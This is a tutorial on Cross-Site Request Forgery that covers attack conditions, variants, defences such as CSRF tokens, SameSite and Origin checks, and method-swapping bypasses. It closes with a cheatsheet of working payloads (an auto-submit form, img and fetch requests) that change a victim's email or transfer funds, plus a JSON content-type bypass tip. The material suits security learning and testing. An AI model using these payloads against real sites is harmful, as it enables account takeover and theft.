The objective of a CSRF (Cross-Site Request Forgery) is to get the browser of a real victim to perform an action on a web application in which the victim is authenticated, without the victim having consciously initiated that action, such as changing their email address, password, or making a transfer.

How CSRF works

For a CSRF attack to be possible, three key conditions must be met:

  • A relevant action: There is an action within the application that the attacker has a reason to trigger. This could be a privileged action or any action on specific user data.
  • Cookie-based session management: Performing this action involves sending HTTP requests and the request automatically includes the victim’s credentials, such as a session cookie.
  • No unpredictable request parameters: For example, when requesting a user to change their password, the function is not vulnerable if the attacker needs to know the value of the current password.

Things to keep in mind

When analyzing a possible CSRF, you should mainly look at:

  • Which HTTP method it uses: GET, POST, PUT, DELETE, etc.
  • Which authentication it uses: usually session cookies.
  • Whether the request needs any additional secret: for example, a CSRF token.
  • Real defense mechanism: SameSite (Lax/None), anti-CSRF tokens, header checks (Origin/Referer), custom headers.
  • How tokens are validated: if they exist, check whether they are truly unpredictable and whether they are tied to the session.

Basic example

Imagine this functionality:

POST /change-email HTTP/1.1
Host: vulnerable.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
 
email=attacker@example.com

The application checks the session cookie and changes the email. The problem appears if the cookie is enough to authorize the operation and there is no mechanism that allows verifying that the request was initiated from the application itself.

An attacker could create a page that triggers a request:

<form action="https://vulnerable.com/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@example.com">
</form>
 
<script>
    document.forms[0].submit();
</script>

If the victim is authenticated on vulnerable.com and the cookie conditions allow the session to be sent, the browser could send:

POST /change-email HTTP/1.1
Host: vulnerable.com
Cookie: session=abc123
 
email=attacker@example.com

The request comes from the victim’s browser, so the server can see it as a normal authenticated request.

Types

Forms

It is one of the classic cases. The application has an action such as:

POST /transfer

and accepts parameters:

amount=100
account=123456

An external site can attempt to trigger the submission of a form to that URL.

<form action="https://vulnerable.com/transfer" method="POST">
    <input type="hidden" name="amount" value="100">
    <input type="hidden" name="account" value="123456">
</form>

The victim would have to visit the attacker’s page for the request attempt to occur.

GET

An application can be especially problematic if it uses GET to perform actions that modify information.

For example:

GET /delete-account HTTP/1.1
Cookie: session=abc123

An external resource could trigger a navigation or request to that URL. For example:

<img src="https://vulnerable.com/delete-account">

In a properly designed application, GET should not be used to perform actions with significant side effects.

Other methods

It can also affect requests such as: POST, PUT, PATCH, DELETE

Although the possibilities of automatically performing certain cross-site requests depend on the browser, the mechanism used, and policies such as CORS and SameSite.

  • SameSite can prevent certain cookies from being sent.
  • CORS can limit which cross-origin requests fetch/XHR can perform and whether the attacker can read their responses. That is why it is not enough to only check whether an application uses POST.

Defenses

CSRF Token

Unique, secret, and unpredictable value generated by the server application and shared with the client. When attempting to perform a sensitive action, the client must include the correct CSRF token in the request.

For example, the request would be:

POST /change-email HTTP/1.1
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
 
csrf=8f92c1d7...&email=test@example.com

The server checks whether the CSRF Token is valid before processing the request.

Synchronized token

A common approach is to associate the CSRF token with the session and check whether the token belongs to the session.

Another technique is to use a cookie to store the token and require that the same value also appears in the request. The server compares both values and rejects the request if they do not match.

For example:

POST /change-email HTTP/1.1
Cookie: session=session123; csrf=abc123
 
email=test@example.com&csrf=abc123

SameSite Cookies

Browser security mechanism that determines when a website’s cookies are included in requests originating from other websites.

Cookies can have the attribute:

Set-Cookie: session=abc123; SameSite=Lax

The main values are: SameSite=Strict, SameSite=Lax, SameSite=None. With SameSite=Lax the cookie can be sent if the request goes via GET or if it comes from a subdomain.

Headers

You can verify that the request originated from the application’s own domain by means of HTTP request headers.

Origin

Browsers can send the Origin header and the server checks that the Origin belongs to an allowed origin.

POST /change-email HTTP/1.1
Host: example.com
Origin: https://attacker.com

Referer

It can also be used to check where a request comes from. However, Referer may not be present due to privacy policies or Referrer-Policy, so an application should not assume that it will always be available.

Changing the request method

The app may not apply the CSRF defenses for all methods.

In Burp suite: right click > change request method The following requests are equivalent:

  • POST:
POST /my-account/change-email HTTP/2
Cookie: session=9kWMN2EgmyPQ7KaGJPaotRnIC9Ad0kjk
 
email=test@gmail.com
  • GET:
GET /my-account/change-email?email=test@gmail.com HTTP/2
Cookie: session=9kWMN2EgmyPQ7KaGJPaotRnIC9Ad0kjk

Cheatsheet

  • Form auto-submit (POST):
<form action="https://api.target.com/account/change-email" method="POST" id="f">
	<input name="email" value="evil@attacker.com">
</form>
<script>document.getElementById('f').submit()</script>
  • GET via img (if the app uses GET):
<img src="https://api.target.com/account/change-email?email=evil@attacker.com">
  • fetch POST (cookie-session):
<script>fetch('https://api.target.com/user/wallet/transfer',
{method:'POST',credentials:'include',headers:{'content-type':'application/x-www-form-urlencoded'},
body:'amount=100&to=evil'})</script>
  • JSON bypass: try content-type: text/plain;charset=UTF-8 with a JSON body if the server parses by extension instead of by header (Rails/Spring sometimes).